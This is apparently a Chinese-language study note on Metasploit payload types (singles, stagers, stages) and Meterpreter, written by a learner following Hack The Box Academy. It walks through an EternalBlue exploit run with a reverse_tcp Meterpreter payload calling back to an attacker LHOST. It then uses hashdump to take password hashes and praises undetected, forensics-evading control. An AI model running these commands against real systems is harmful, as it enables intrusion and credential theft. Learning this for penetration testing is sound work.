在 Metasploit
框架中,Payload 是一個模塊,用於幫助利用 (exploit
) 模塊將攻擊者的 shell
返回。Payloads
和 exploit
一起發送,繞過漏洞服務的正常運行過程,然後在目標操作系統上運行,通常會返回一個反向連接 (reverse connection
) 給攻擊者,從而建立初始控制權。
Metasploit
框架中有三種不同類型的 Payload
模塊:Singles、Stagers 和 Stages。這三種類型的 payload
互動方式各有不同,為滲透測試者提供靈活性。
payload
,包含了 exploit
和執行特定任務所需的全部 shellcode
。payload
,負責建立網絡連接。payload
,被 Stager
載入後使用。Single Payloads
是獨立的,包含了所有需要的 shellcode
。這些 payload
不需要依賴其他模塊來運行,但有時會因大小限制而無法使用。
舉個例子,這是其中一個 Single Payload
:
windows/shell_bind_tcp
Stager Payloads
負責設置網絡連接,並且設計為體積小、運行可靠。當 Stager
建立連接後,Stage Payload
會被載入並運行。
舉個例子,這是其中一個 Stager Payload
:
windows/shell/bind_tcp
Stager
的優點是它們相對小巧,可以應對內存限制的情況,並且可以利用 Stages
來實現更多功能。
Stage Payloads
是 Stagers
的配套模塊,通常提供進階功能,例如 Meterpreter
或 VNC Injection
。
Stages
沒有大小限制,能夠下載到目標機器並運行。
例如,在 staged payload
中,Stage0
是初始的 shellcode
,負責與攻擊者建立反向連接 (reverse connection
)。
一旦連接建立,Stage0
會從攻擊者機器中下載更大的 Stage1
來實現完整的攻擊。
以下是一個範例,可以在 Metasploit
中查看和選擇 payload
。
首先,列出所有可用的 payload
:
msf6 > show payloads
搜索特定 payload
,例如 meterpreter
和 reverse_tcp
:
msf6 > grep meterpreter grep reverse_tcp show payloads
這將顯示與 Meterpreter
相關的反向 TCP
連接 payload
。
接著,設定 payload
:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
設定攻擊目標和攻擊者的 IP
地址:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
運行 exploit
:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
如果攻擊成功,你將會看到類似於 Meterpreter session 1 opened
的提示,這表示你已經獲得了對目標的遠程控制。
Meterpreter
是一個功能強大的 payload
,通過動態連接,使用 DLL
注入來保持與目標的穩定連接。它完全在內存中運行,不會留下硬碟痕跡,因此很難被傳統的取證技術檢測到。
hash
meterpreter > screenshot
meterpreter > hashdump
這讓你可以在不被發現的情況下持續控制目標機器。
Metasploit
提供了很多不同的 payload
,用於不同的操作系統和環境~
以下是一些常見的 payload
:
generic/shell_bind_tcp
: 通用型 shell
,通過 TCP
連接windows/x64/shell/reverse_tcp
: 反向 TCP
連接的 Windows shell
windows/x64/meterpreter/reverse_tcp
:反向 TCP
連接的 Windows Meterpreter
android/meterpreter/reverse_tcp
:反向 TCP
連接的 Android Meterpreter
Single Payloads
是獨立的模塊,簡單且穩定。Stagers
和 Stages
組合使用時更靈活,允許在目標上進行更大的操作。Meterpreter
提供了進階的滲透測試功能,能夠動態載入腳本並在遠程主機上執行多種任務。
昨天沒睡好,今天頭痛到不行QQ
很難思考,但還是硬把文章產出了@@
https://academy.hackthebox.com/